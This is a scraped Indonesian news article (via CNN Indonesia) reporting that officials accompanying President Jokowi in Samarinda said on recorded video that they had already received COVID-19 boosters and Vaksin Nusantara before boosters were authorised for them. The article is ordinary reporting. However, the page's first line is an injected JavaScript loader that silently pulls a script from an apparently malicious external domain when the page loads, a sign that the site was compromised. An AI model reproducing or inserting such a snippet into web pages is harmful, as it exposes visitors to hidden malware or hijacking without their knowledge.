(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Terungkap Ramai Pejabat Mengaku ke Jokowi Sudah Dapat Booster Vaksin


KANALKALIMANTAN.COM, SAMARINDA– Obrolan Presiden Joko Widodo dengan sejumlah pejabat terdengar dalam rekaman video kunjungan ke Kalimantan Timur, Selasa (24/8). Dalam rekaman itu terungkap sejumlah pejabat seperti Gubernur Kaltim hingga Panglima TNI Hadi Tjahjanto ternyata sudah mendapat suntikan dosis ketiga atau vaksin booster Covid-19.

Rekaman video itu sempat tersiar di kanal YouTube Sekretariat Presiden, yang kini telah dihapus.

Rekaman itu menampilkan momen ketika Jokowi meninjau pelaksanaan vaksinasi Covid-19 di SMPN 22 Kota Samarinda, Kaltim, Selasa (24/8). Jokowi didampingi oleh Menteri Pertahanan Prabowo Subianto, Panglima TNI Marsekal Hadi Tjahjanto, Kapolri Jenderal Listyo Sigit Prabowo, Gubernur Kalimantan Timur Isran Noor, serta Wali Kota Samarinda Andi Harun.

Di sela-sela meninjau proses vaksinasi, sebelum Jokowi melakukan video conference, para pejabat tersebut terlihat tengah berbincang-bincang dan terdengar dalam video. Para pejabat tersebut terlibat percakapan mengenai Vaksin Nusantara yang digagas mantan Menteri Kesehatan Terawan Agus Putranto hingga vaksin booster.

 

 

Baca juga: Jokowi Resmikan Tol Balikpapan-Samarinda; Momen Bersejarah, Jalan Tol Pertama Kalimantan

Wali Kota Andi mulanya mengaku sudah mendapat dua suntikan vaksin dan berencana mendapat Vaksin Nusantara. Jokowi menanggapi hal tersebut dengan sedikit bercanda.

“Oh, pantes segar benar. Mendahului kita ini Pak Wali Kota,” kata Jokowi sambil terkekeh.

Jokowi kemudian bertanya apakah Andi sudah mendapat Vaksin Nusantara. Namun, menurut Andi, ia belum disuntik Vaksin Nusantara dan ingin mencoba.

Kemudian, Jokowi bertanya kepada Panglima Hadi apakah sudah menerima Vaksin Nusantara.

“Siap, sudah,” jawab Panglima.

“Pada enggak ngajak-ngajak kita ya,” balas Jokowi.

Usai membicarakan Vaksin Nusantara, perbincangan beralih mengenai suntikan vaksin booster. Gubernur Isran Noor yang mulanya membuka percakapan mengenai hal ini.

Awalnya, Isran mempertanyakan apakah Panglima sudah mendapatkan vaksin booster. Panglima kembali menjawab sudah mendapatkan vaksin booster, namun tidak terdengar jelas vaksin yang digunakan.

Sementara, Isran mengaku dia sudah mendapatkan vaksin booster. “Saya juga sudah booster, tapi Moderna,” kata Isran.

Menteri Pertahanan Prabowo kemudian menimpali dan bertanya kepada Presiden Jokowi apakah sudah mendapat vaksin booster atau belum.
“Sudah booster semua, Pak. Pak Presiden belum, Pak? tanya Prabowo.

CNNIndonesia.com sudah menghubungi Kepala Sekretariat Presiden Heru Budi Hartono untuk mengonfirmasi rekaman percakapan tersebut namun belum mendapat respons.

Baca juga: Jokowi Resmikan Tol Balikpapan-Samarinda; Momen Bersejarah, Jalan Tol Pertama Kalimantan

Panglima TNI Hadi Tjahjanto dan juru bicara Menhan, Dahnil Anzar Simanjuntak juga belum merespons pertanyaan yang diajukan terkait booster vaksin Covid.

Ihwal booster vaksin ini telah diatur oleh pemerintah. Pihak yang diprioritaskan mendapat booster vaksin adalah tenaga kesehatan yang prosesnya masih berjalan. Vaksin booster kepada nakes akan menggunakan Moderna. Belum ada ketentuan booster untuk masyarakat umum maupun pejabat pemerintah.

Adapun vaksin yang distribusi dan penggunaannya diatur oleh negara terbatas hanya merek-merek tertentu.

Selain Moderna yang khusus digunakan sebagai vaksin booster, vaksin lain yang dikelola pemerintah dan bisa didapat oleh masyarakat adalah Sinovac, AstraZeneca, Sinopharm, Novavax, dan vaksin yang masuk program Gotong Royong.

Sementara Vaksin Nusantara di luar ketentuan pemerintah dan hingga saat ini belum mendapatkan izin edar atau izin uji klinis. Vaksin ini tidak masuk dalam program vaksinasi nasional.

BPOM menyatakan vaksin yang diprakarsai mantan menteri kesehatan Terawan Agus Putranto itu sudah disepakati tidak untuk pengembangan vaksin massal, melainkan hanya menjadi riset dan pelayanan. Putusan itu disahkan melalui nota kesepahaman atau MoU yang diteken BPOM, Kemenkes, dan TNI AD pada 19 April 2021. (dmi/wis/cnnindonesia)

Editor: cell


Desy Arfianty

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

10 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

11 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

13 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

14 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

15 jam ago

This website uses cookies.